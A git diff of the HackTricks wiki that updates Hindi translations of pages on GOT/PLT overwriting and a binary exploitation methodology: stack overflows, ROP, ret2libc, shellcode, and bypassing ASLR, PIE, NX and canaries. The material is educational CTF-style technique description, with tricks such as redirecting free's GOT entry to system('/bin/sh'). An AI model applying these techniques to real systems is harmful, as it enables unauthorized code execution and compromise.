mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-
This commit is contained in:
parent
24d3df28d6
commit
f4fbfc56bc
@ -8,17 +8,17 @@
|
||||
|
||||
**ग्लोबल ऑफसेट टेबल (GOT)** एक तंत्र है जो गतिशील रूप से लिंक किए गए बाइनरी में **बाहरी कार्यों के पते** को प्रबंधित करने के लिए उपयोग किया जाता है। चूंकि ये **पते रनटाइम तक ज्ञात नहीं होते** (गतिशील लिंकिंग के कारण), GOT एक तरीका प्रदान करता है जिससे **इन बाहरी प्रतीकों के पते को गतिशील रूप से अपडेट किया जा सके** जब वे हल हो जाते हैं।
|
||||
|
||||
GOT में प्रत्येक प्रविष्टि उस प्रतीक से संबंधित होती है जो बाहरी पुस्तकालयों में हो सकती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य को पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर्स द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, इस प्रकार फिर से पते को हल करने का ओवरहेड बचता है।
|
||||
GOT में प्रत्येक प्रविष्टि उस प्रतीक से संबंधित होती है जो बाहरी पुस्तकालयों में हो सकती है जिसे बाइनरी कॉल कर सकता है। जब एक **कार्य पहली बार कॉल किया जाता है, तो इसका वास्तविक पता गतिशील लिंकर्स द्वारा हल किया जाता है और GOT में संग्रहीत किया जाता है**। उसी कार्य को बाद में कॉल करने पर GOT में संग्रहीत पते का उपयोग किया जाता है, जिससे फिर से पते को हल करने का ओवरहेड बचता है।
|
||||
|
||||
### **PLT: प्रक्रिया लिंक टेबल**
|
||||
|
||||
**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि उस कार्य के पते को हल करने के लिए गतिशील लिंकर्स को सक्रिय करने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है।
|
||||
**प्रक्रिया लिंक टेबल (PLT)** GOT के साथ निकटता से काम करता है और बाहरी कार्यों को कॉल करने के लिए एक ट्रम्पोलिन के रूप में कार्य करता है। जब एक बाइनरी **पहली बार एक बाहरी कार्य को कॉल करता है, तो नियंत्रण उस कार्य से संबंधित PLT में एक प्रविष्टि को सौंपा जाता है**। यह PLT प्रविष्टि गतिशील लिंकर्स को कार्य के पते को हल करने के लिए बुलाने के लिए जिम्मेदार होती है यदि इसे पहले से हल नहीं किया गया है। पते के हल होने के बाद, इसे **GOT** में संग्रहीत किया जाता है।
|
||||
|
||||
**इसलिए,** GOT प्रविष्टियाँ सीधे उपयोग की जाती हैं जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियाँ इन पते को गतिशील लिंकर्स के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए उपयोग की जाती हैं।**
|
||||
**इसलिए,** GOT प्रविष्टियों का उपयोग सीधे तब किया जाता है जब एक बाहरी कार्य या चर का पता हल हो जाता है। **PLT प्रविष्टियों का उपयोग इन पते को गतिशील लिंकर्स के माध्यम से प्रारंभिक समाधान को सुविधाजनक बनाने के लिए किया जाता है।**
|
||||
|
||||
## निष्पादन प्राप्त करें
|
||||
|
||||
### GOT की जाँच करें
|
||||
### GOT की जांच करें
|
||||
|
||||
GOT तालिका का पता प्राप्त करने के लिए: **`objdump -s -j .got ./exec`**
|
||||
|
||||
@ -36,15 +36,15 @@ GEF का उपयोग करके आप **डिबगिंग** सत
|
||||
|
||||
एक बाइनरी में GOT के पास **कार्य या** PLT अनुभाग के **पते** होते हैं जो कार्य के पते को लोड करेगा। इस मनमाने लेखन का लक्ष्य एक कार्य के GOT प्रविष्टि को **ओवरराइड करना** है जिसे बाद में **`system`** **कार्य** के PLT के **पते** के साथ निष्पादित किया जाएगा।
|
||||
|
||||
आदर्श रूप से, आप एक **कार्य** के **GOT** को **ओवरराइड** करेंगे जिसे **आपके द्वारा नियंत्रित पैरामीटर के साथ कॉल किया जाएगा** (ताकि आप सिस्टम कार्य को भेजे गए पैरामीटर को नियंत्रित कर सकें)।
|
||||
आदर्श रूप से, आप उस **कार्य** के **GOT** को **ओवरराइड** करेंगे जिसे **आपके द्वारा नियंत्रित पैरामीटर के साथ कॉल किया जाएगा** (ताकि आप सिस्टम कार्य को भेजे गए पैरामीटर को नियंत्रित कर सकें)।
|
||||
|
||||
यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में कोई प्रविष्टि नहीं होगी**। इस परिदृश्य में, आपको पहले `system` कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा।
|
||||
यदि **`system`** **बाइनरी द्वारा उपयोग नहीं किया गया है**, तो सिस्टम कार्य का **PLT में** कोई प्रविष्टि नहीं होगी। इस परिदृश्य में, आपको पहले **`system`** कार्य का पता लीक करना होगा और फिर GOT को इस पते की ओर इंगित करने के लिए ओवरराइड करना होगा।
|
||||
|
||||
आप PLT पते देख सकते हैं **`objdump -j .plt -d ./vuln_binary`** के साथ।
|
||||
|
||||
## libc GOT प्रविष्टियाँ
|
||||
|
||||
**libc का GOT** आमतौर पर **आंशिक RELRO** के साथ संकलित होता है, जिससे यह इस तकनीक के लिए एक अच्छा लक्ष्य बनता है यदि इसका पता लगाना संभव हो ([**ASLR**](../common-binary-protections-and-bypasses/aslr/))।
|
||||
**libc का GOT** आमतौर पर **आंशिक RELRO** के साथ संकलित होता है, जिससे यह इस तकनीक के लिए एक अच्छा लक्ष्य बनता है यदि इसका पता लगाना संभव हो ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html))।
|
||||
|
||||
libc के सामान्य कार्य **अन्य आंतरिक कार्यों** को कॉल करने जा रहे हैं जिनका GOT ओवरराइड किया जा सकता है ताकि कोड निष्पादन प्राप्त किया जा सके।
|
||||
|
||||
@ -52,11 +52,11 @@ libc के सामान्य कार्य **अन्य आंतरि
|
||||
|
||||
### **Free2system**
|
||||
|
||||
हीप शोषण CTFs में यह सामान्य है कि आप चंक्स की सामग्री को नियंत्रित कर सकें और किसी बिंदु पर GOT तालिका को भी ओवरराइड कर सकें। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, यह `system("/bin/sh")` को निष्पादित करेगा।
|
||||
हीप शोषण CTFs में यह सामान्य है कि चंक्स की सामग्री को नियंत्रित किया जा सके और किसी बिंदु पर GOT तालिका को भी ओवरराइड किया जा सके। यदि एक गैजेट उपलब्ध नहीं है तो RCE प्राप्त करने के लिए एक सरल चाल `free` GOT पते को `system` की ओर इंगित करना और एक चंक में `"/bin/sh"` लिखना है। इस तरह जब इस चंक को मुक्त किया जाएगा, यह `system("/bin/sh")` को निष्पादित करेगा।
|
||||
|
||||
### **Strlen2system**
|
||||
|
||||
एक और सामान्य तकनीक **`strlen`** GOT पते को **`system`** की ओर इंगित करना है, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाए तो यह संभव हो कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके।
|
||||
एक और सामान्य तकनीक **`strlen`** GOT पते को **`system`** की ओर इंगित करना है, ताकि यदि इस कार्य को उपयोगकर्ता इनपुट के साथ कॉल किया जाता है तो यह संभव हो कि स्ट्रिंग `"/bin/sh"` पास की जाए और एक शेल प्राप्त किया जा सके।
|
||||
|
||||
इसके अलावा, यदि `puts` का उपयोग उपयोगकर्ता इनपुट के साथ किया जाता है, तो `strlen` GOT पते को `system` की ओर इंगित करने के लिए ओवरराइड करना संभव है और स्ट्रिंग `"/bin/sh"` पास करना संभव है ताकि एक शेल प्राप्त किया जा सके क्योंकि **`puts` उपयोगकर्ता इनपुट के साथ `strlen` को कॉल करेगा**।
|
||||
|
||||
@ -66,9 +66,9 @@ libc के सामान्य कार्य **अन्य आंतरि
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
## **हीप से GOT का दुरुपयोग करना**
|
||||
## **Heap से GOT का दुरुपयोग**
|
||||
|
||||
हीप भेद्यता से RCE प्राप्त करने का एक सामान्य तरीका एक फास्टबिन का दुरुपयोग करना है ताकि GOT तालिका के भाग को फास्ट बिन में जोड़ा जा सके, ताकि जब भी उस चंक को आवंटित किया जाएगा, यह संभव होगा कि **एक कार्य के पते को ओवरराइड किया जा सके, आमतौर पर `free`**।\
|
||||
हीप भेद्यता से RCE प्राप्त करने का एक सामान्य तरीका एक फास्टबिन का दुरुपयोग करना है ताकि GOT तालिका के भाग को फास्ट बिन में जोड़ा जा सके, ताकि जब भी उस चंक को आवंटित किया जाएगा, यह **एक कार्य के पते को ओवरराइड करना संभव होगा, आमतौर पर `free`**।\
|
||||
फिर, `free` को `system` की ओर इंगित करना और एक चंक को मुक्त करना जहाँ `/bin/sh\x00` लिखा गया था, एक शेल को निष्पादित करेगा।
|
||||
|
||||
यहाँ एक [**उदाहरण पाया जा सकता है**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**।**
|
||||
|
@ -1,111 +1,111 @@
|
||||
# Basic Binary Exploitation Methodology
|
||||
# बेसिक बाइनरी एक्सप्लोइटेशन मेथोडोलॉजी
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## ELF Basic Info
|
||||
## ELF बेसिक जानकारी
|
||||
|
||||
किसी भी चीज़ का शोषण करने से पहले, **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है:
|
||||
किसी भी चीज़ का शोषण करने से पहले **ELF बाइनरी** की संरचना के एक भाग को समझना दिलचस्प है:
|
||||
|
||||
{{#ref}}
|
||||
elf-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Exploiting Tools
|
||||
## शोषण उपकरण
|
||||
|
||||
{{#ref}}
|
||||
tools/
|
||||
{{#endref}}
|
||||
|
||||
## Stack Overflow Methodology
|
||||
## स्टैक ओवरफ्लो मेथोडोलॉजी
|
||||
|
||||
इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी, एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं लेकिन इस पद्धति में नहीं।
|
||||
इतनी सारी तकनीकों के साथ, यह अच्छा है कि जब प्रत्येक तकनीक उपयोगी होगी तो एक योजना हो। ध्यान दें कि समान सुरक्षा विभिन्न तकनीकों को प्रभावित करेगी। आप प्रत्येक सुरक्षा अनुभाग में सुरक्षा को बायपास करने के तरीके पा सकते हैं लेकिन इस मेथोडोलॉजी में नहीं।
|
||||
|
||||
## Controlling the Flow
|
||||
## प्रवाह को नियंत्रित करना
|
||||
|
||||
एक प्रोग्राम के प्रवाह को नियंत्रित करने के लिए विभिन्न तरीके हैं:
|
||||
|
||||
- [**Stack Overflows**](../stack-overflow/) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना।
|
||||
- ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
|
||||
- या **Arbitrary Writes + Write What Where to Execution** के माध्यम से।
|
||||
- [**Format strings**](../format-strings/)**:** `printf` का दुरुपयोग करके मनमाने पते पर मनमानी सामग्री लिखना।
|
||||
- [**Array Indexing**](../array-indexing.md): कुछ ऐरे को नियंत्रित करने और एक मनमाना लिखने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करना।
|
||||
- ओवरफ्लो उत्पन्न करने के लिए [**Integer Overflows**](../integer-overflow.md) का दुरुपयोग करना पड़ सकता है।
|
||||
- **bof to WWW via ROP**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करना और WWW प्राप्त करना।
|
||||
- [**स्टैक ओवरफ्लोज़**](../stack-overflow/index.html) स्टैक से रिटर्न पॉइंटर या EBP -> ESP -> EIP को ओवरराइट करना।
|
||||
- ओवरफ्लो करने के लिए एक [**इंटीजर ओवरफ्लोज़**](../integer-overflow.md) का दुरुपयोग करने की आवश्यकता हो सकती है।
|
||||
- या **मनमाने लेखन + निष्पादन के लिए क्या लिखें** के माध्यम से।
|
||||
- [**फॉर्मेट स्ट्रिंग्स**](../format-strings/index.html)**:** `printf` का दुरुपयोग करके मनमानी सामग्री को मनमाने पते पर लिखें।
|
||||
- [**एरे इंडेक्सिंग**](../array-indexing.md): कुछ एरे को नियंत्रित करने और मनमाने लेखन प्राप्त करने के लिए खराब डिज़ाइन की गई इंडेक्सिंग का दुरुपयोग करें।
|
||||
- ओवरफ्लो करने के लिए एक [**इंटीजर ओवरफ्लोज़**](../integer-overflow.md) का दुरुपयोग करने की आवश्यकता हो सकती है।
|
||||
- **bof से WWW तक ROP के माध्यम से**: एक बफर ओवरफ्लो का दुरुपयोग करके एक ROP का निर्माण करें और WWW प्राप्त करने में सक्षम हों।
|
||||
|
||||
आप **Write What Where to Execution** तकनीकों को यहाँ पा सकते हैं:
|
||||
आप **क्या लिखें कहाँ निष्पादन के लिए** तकनीकों को पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
## Eternal Loops
|
||||
## शाश्वत लूप
|
||||
|
||||
ध्यान में रखने वाली एक बात यह है कि आमतौर पर **एक ही भेद्यता का शोषण करना सफल शोषण के लिए पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल भेद्यता को एक ही बाइनरी के निष्पादन में कई बार शोषण करने के लिए कुछ विकल्पों पर चर्चा करें**:
|
||||
ध्यान में रखने के लिए एक बात यह है कि आमतौर पर **कमजोरियों के एक शोषण से सफल शोषण करना पर्याप्त नहीं हो सकता है**, विशेष रूप से कुछ सुरक्षा को बायपास करने की आवश्यकता होती है। इसलिए, यह दिलचस्प है कि **एकल कमजोरी को कई बार शोषण करने योग्य बनाने** के कुछ विकल्पों पर चर्चा करें:
|
||||
|
||||
- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **भेद्यता** हो रही है।
|
||||
- एक उचित ROP श्रृंखला को नियंत्रित करके, आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं।
|
||||
- **`exit` GOT में पते पर लिखें** (या बाइनरी द्वारा समाप्त होने से पहले उपयोग की जाने वाली कोई अन्य फ़ंक्शन) पता **भेद्यता** पर वापस जाने के लिए।
|
||||
- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक फिर से vuln को कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा।
|
||||
- **`main` फ़ंक्शन** का पता या उस पते को लिखें जहाँ **कमजोरी** हो रही है।
|
||||
- एक उचित ROP श्रृंखला को नियंत्रित करके आप उस श्रृंखला में सभी क्रियाएँ करने में सक्षम हो सकते हैं।
|
||||
- **`exit` पते को GOT में** (या किसी अन्य फ़ंक्शन का उपयोग बाइनरी द्वारा समाप्त होने से पहले) उस पते पर लिखें **कमजोरी पर वापस जाने के लिए**।
|
||||
- जैसा कि [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)** में समझाया गया है,** यहाँ 2 फ़ंक्शन स्टोर करें, एक को फिर से vuln कॉल करने के लिए और दूसरा **`__libc_csu_fini`** को कॉल करने के लिए जो फिर से `.fini_array` से फ़ंक्शन को कॉल करेगा।
|
||||
|
||||
## Exploitation Goals
|
||||
## शोषण लक्ष्य
|
||||
|
||||
### Goal: Call an Existing function
|
||||
### लक्ष्य: एक मौजूदा फ़ंक्शन को कॉल करें
|
||||
|
||||
- [**ret2win**](#ret2win): कोड में एक फ़ंक्शन है जिसे आपको कॉल करना है (शायद कुछ विशिष्ट पैरामीटर के साथ) ताकि फ्लैग प्राप्त किया जा सके।
|
||||
- एक **सामान्य bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है।
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- एक **नियमित bof बिना** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) आपको बस स्टैक में स्टोर किए गए रिटर्न पते में पता लिखने की आवश्यकता है।
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) के साथ एक bof में, आपको इसे बायपास करने की आवश्यकता होगी।
|
||||
- यदि आपको **ret2win** फ़ंक्शन को सही ढंग से कॉल करने के लिए कई पैरामीटर सेट करने की आवश्यकता है, तो आप उपयोग कर सकते हैं:
|
||||
- यदि पर्याप्त गैजेट हैं तो [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए।
|
||||
- यदि पर्याप्त गैजेट हैं तो एक [**ROP**](#rop-and-ret2...-techniques) **श्रृंखला** सभी पैरामीटर तैयार करने के लिए।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (यदि आप इस syscall को कॉल कर सकते हैं) बहुत सारे रजिस्टर को नियंत्रित करने के लिए।
|
||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
|
||||
- [**Write What Where**](../arbitrary-write-2-exec/) के माध्यम से आप अन्य भेद्यताओं (bof नहीं) का दुरुपयोग कर सकते हैं ताकि **`win`** फ़ंक्शन को कॉल किया जा सके।
|
||||
- एक [**Write What Where**](../arbitrary-write-2-exec/index.html) के माध्यम से आप **`win`** फ़ंक्शन को कॉल करने के लिए अन्य कमजोरियों (bof नहीं) का दुरुपयोग कर सकते हैं।
|
||||
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में एक फ़ंक्शन के लिए पॉइंटर्स हैं जिसे कॉल किया जाने वाला है या एक स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग की जाने वाली है, तो उस पते को ओवरराइट करना संभव है।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं।
|
||||
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) पते को प्रभावित कर सकते हैं।
|
||||
- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते।
|
||||
|
||||
### Goal: RCE
|
||||
### लक्ष्य: RCE
|
||||
|
||||
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
|
||||
#### शेलकोड के माध्यम से, यदि nx अक्षम है या शेलकोड को ROP के साथ मिलाकर:
|
||||
|
||||
- [**(Stack) Shellcode**](#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में स्टैक में एक शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इसे निष्पादित करने के लिए** कूदें:
|
||||
- किसी भी मामले में, यदि वहाँ एक [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) है, तो एक सामान्य bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के बिना, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) के साथ, आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी।
|
||||
- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के साथ, आपको कुछ [**ROP**](../rop-return-oriented-programing/) का उपयोग करना होगा **`memprotect`** को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **शेलकोड को वहाँ स्टोर किया जा सके** (उदाहरण के लिए पढ़ें) और फिर वहाँ कूदें।
|
||||
- [**(स्टैक) शेलकोड**](#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में स्टैक में शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इस पर कूदें** इसे निष्पादित करने के लिए:
|
||||
- किसी भी मामले में, यदि एक [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)** है,** एक नियमित bof में आपको इसे बायपास (leak) करने की आवश्यकता होगी।
|
||||
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा।
|
||||
- **के साथ** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी।
|
||||
- **के साथ** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), आपको कुछ [**ROP**](../rop-return-oriented-programing/index.html) **का उपयोग करना होगा** `memprotect` को कॉल करने के लिए और कुछ पृष्ठ `rwx` बनाने के लिए, ताकि फिर **शेलकोड को वहाँ स्टोर किया जा सके** (उदाहरण के लिए पढ़ने को कॉल करना) और फिर वहाँ कूदना।
|
||||
- यह शेलकोड को ROP श्रृंखला के साथ मिलाएगा।
|
||||
|
||||
#### Via syscalls
|
||||
#### सिस्टम कॉल के माध्यम से
|
||||
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): मनमाने आदेशों को चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को पैरामीटर के साथ कॉल करने के लिए गैजेट्स** खोजने में सक्षम होना चाहिए।
|
||||
- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) सक्षम हैं, तो आपको **ROP गैजेट्स** का उपयोग करने के लिए उन्हें पराजित करने की आवश्यकता होगी।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है।
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): मनमाने कमांड चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को पैरामीटर के साथ कॉल करने के लिए गैजेट्स खोजने में सक्षम होना चाहिए**।
|
||||
- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) या [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) सक्षम हैं, तो आपको **ROP गैजेट्स का उपयोग करने के लिए उन्हें हराना होगा** बाइनरी या पुस्तकालयों से।
|
||||
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है।
|
||||
- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए।
|
||||
|
||||
#### Via libc
|
||||
#### libc के माध्यम से
|
||||
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): एक लाइब्रेरी (आमतौर पर **`libc`**) से एक फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार किए गए तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **लाइब्रेरी** को लोड करने की आवश्यकता है जिसमें आप कॉल करना चाहते हैं (आमतौर पर libc)।
|
||||
- यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और लोड की गई libc संस्करण को जानने के बिना**, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **के साथ लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और बाइनरी का उपयोग करते हुए `system` फ़ंक्शन के साथ, यह संभव है कि **GOT में system के पते पर `ret` करें** और `'/bin/sh'` के पते को पैरामीटर में रखें (आपको इसे समझना होगा)।
|
||||
- [ASLR](../common-binary-protections-and-bypasses/aslr/) के साथ लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और **बाइनरी का उपयोग किए बिना `system`**:
|
||||
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): एक पुस्तकालय (आमतौर पर **`libc`**) से एक फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार किए गए तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **उस फ़ंक्शन के साथ पुस्तकालय लोड करने की आवश्यकता है** जिसे आप कॉल करना चाहते हैं (आमतौर पर libc)।
|
||||
- यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और लोड की गई libc संस्करण को जानने के लिए**, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **के साथ लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, libc को जानने और बाइनरी का उपयोग करते हुए `system`** फ़ंक्शन के साथ, यह संभव है **GOT में system के पते पर `ret` करना** और `'/bin/sh'` के पते को पैरामीटर में रखना (आपको इसे समझना होगा)।
|
||||
- [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) के साथ लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/index.html) नहीं, libc को जानने और **बाइनरी का उपयोग किए बिना `system`**:
|
||||
- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें `system` के पते को हल करने और इसे कॉल करने के लिए।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` के पते की गणना करें।
|
||||
- **[**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ और libc को न जानने पर**: आपको:
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/) को बायपास करें।
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` के पते की गणना करें।
|
||||
- **के साथ** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **और libc को न जानते हुए**: आपको:
|
||||
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) को बायपास करना होगा।
|
||||
- उपयोग की गई **`libc` संस्करण** खोजें (कुछ फ़ंक्शन पते लीक करें)।
|
||||
- जारी रखने के लिए **ASLR के साथ पिछले परिदृश्यों की जांच करें**।
|
||||
- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों की जांच करें**।
|
||||
|
||||
#### Via EBP/RBP
|
||||
#### EBP/RBP के माध्यम से
|
||||
|
||||
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें।
|
